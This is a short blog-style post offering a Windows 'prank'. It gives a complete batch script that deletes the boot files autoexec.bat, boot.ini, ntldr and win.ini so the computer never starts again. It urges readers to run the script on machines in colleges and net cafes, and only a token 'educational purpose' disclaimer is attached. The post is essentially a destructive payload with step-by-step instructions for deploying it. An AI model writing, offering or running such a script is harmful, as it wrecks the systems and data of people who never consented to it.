I have already posted some of the cool pranks using Notepad. Here I am going to include one more trick using which you can shut the windows system down forever. Basically what it does is to remove the files necessary while system booting process. So after executing this code, your  system will never wake up! You can try this prank in your college, net cafes etc. But I am sharing just as the educational purpose only.

1. Open "Notepad".
2. Copy down below code and paste into notepad file.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

3. Save the file as with .bat extension, such as "anyname.bat".


4. You should get the file as shown below.


5. Do not open the file with your own machine, otherwise you will end up with dead system!
